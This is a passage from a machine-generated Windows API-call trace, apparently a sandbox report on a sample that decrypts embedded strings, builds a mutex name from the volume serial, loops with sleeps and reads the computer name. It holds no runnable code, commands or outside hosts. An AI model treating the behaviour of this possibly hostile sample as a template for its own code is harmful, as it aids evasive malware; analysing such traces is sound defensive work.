hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0067.280] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0067.280] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0067.280] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0067.280] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0067.280] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0067.280] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0067.280] CryptDestroyKey (hKey=0x7406a0) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0067.280] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0067.280] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0067.280] CloseHandle (hObject=0x148) returned 1 [0067.280] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0067.280] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0067.280] Sleep (dwMilliseconds=0x3e8) [0067.665] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0067.665] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0067.665] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0067.665] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0067.665] CryptDestroyKey (hKey=0x7406a0) returned 1 [0067.665] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0067.665] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0067.665] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0067.666] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0067.666] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0067.666] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0067.666] CryptDestroyKey (hKey=0x7406a0) returned 1 [0067.666] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0067.666] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0067.666] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0067.666] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0067.666] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0067.666] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0067.666] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0067.666] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0067.666] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0067.666] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0067.666] CryptDestroyKey (hKey=0x7406a0) returned 1 [0067.666] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0067.666] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0067.666] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0067.666] CloseHandle (hObject=0x148) returned 1 [0067.666] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0067.666] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0067.667] Sleep (dwMilliseconds=0x3e8) Thread: id = 7 os_tid = 0xee4 [0036.531] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x440) returned 0xb04fa0 [0036.531] CryptImportKey (in: hProv=0x735018, pbData=0x227fb28*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x227fb90 | out: phKey=0x227fb90*=0x735450) returned 1 [0036.531] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x227fb78, dwFlags=0x0) returned 1 [0036.531] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb04fa0, pdwDataLen=0x227fb44 | out: pbData=0xb04fa0, pdwDataLen=0x227fb44) returned 1 [0036.531] CryptDestroyKey (hKey=0x735450) returned 1 [0036.531] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x434) returned 0xb053e8 [0036.531] GetLastError () returned 0x57 [0036.531] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x214) returned 0xb05828 [0036.531] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0036.532] GetCurrentThreadId () returned 0xee4 [0036.532] SetLastError (dwErrCode=0x57) [0036.532] GetLastError () returned 0x57 [0036.532] SetLastError (dwErrCode=0x57) [0036.532] GetLastError () returned 0x57 [0036.532] SetLastError (dwErrCode=0x57) [0036.532] GetLastError () returned 0x57 [0036.532] SetLastError (dwErrCode=0x57) [0036.532] GetLastError () returned 0x57 [0036.532] SetLastError (dwErrCode=0x57) [0036.532] GetLastError () returned 0x57 [0036.532] SetLastError (dwErrCode=0x57) [0036.532] GetLastError () returned 0x57 [0036.532] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.533] SetLastError (dwErrCode=0x57) [0036.533] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.534] GetLastError () returned 0x57 [0036.534] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.535] SetLastError (dwErrCode=0x57) [0036.535] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.536] SetLastError (dwErrCode=0x57) [0036.536] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.537] SetLastError (dwErrCode=0x57) [0036.537] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.538] SetLastError (dwErrCode=0x57) [0036.538] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.539] SetLastError (dwErrCode=0x57) [0036.539] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.540] SetLastError (dwErrCode=0x57) [0036.540] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.541] SetLastError (dwErrCode=0x57) [0036.541] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.542] SetLastError (dwErrCode=0x57) [0036.542] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.543] GetLastError () returned 0x57 [0036.543] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.544] GetLastError () returned 0x57 [0036.544] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.545] GetLastError () returned 0x57 [0036.545] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.546] SetLastError (dwErrCode=0x57) [0036.546] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.547] SetLastError (dwErrCode=0x57) [0036.547] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.548] SetLastError (dwErrCode=0x57) [0036.548] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.549] SetLastError (dwErrCode=0x57) [0036.549] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.550] SetLastError (dwErrCode=0x57) [0036.550] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.551] GetLastError () returned 0x57 [0036.551] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.552] GetLastError () returned 0x57 [0036.552] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.553] SetLastError (dwErrCode=0x57) [0036.553] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.554] SetLastError (dwErrCode=0x57) [0036.554] GetLastError () returned 0x57 [0036.555] SetLastError (dwErrCode=0x57) [0036.555] GetLastError () returned 0x57 [0036.583] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05828 | out: hHeap=0xb00000) returned 1 Thread: id = 8 os_tid = 0xee8 [0036.568] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x21a) returned 0xb05a48 [0036.568] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb01710 [0036.569] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xa0 [0036.569] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xa4 [0036.569] GetComputerNameW (in: lpBuffer=0xb05a58, nSize=0xacfb48 | out: lpBuffer="Q9IATRKPRH", nSize=0xacfb48) returned 1 [0036.573] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb014d0 [0036.573] GetLastError () returned 0xcb [0036.573] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x214) returned 0xb05c70 [0036.574] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0036.574] GetCurrentThreadId () returned 0xee8 [0036.574] SetLastError (dwErrCode=0xcb) [0036.574] GetLastError () returned 0xcb [0036.574] SetLastError 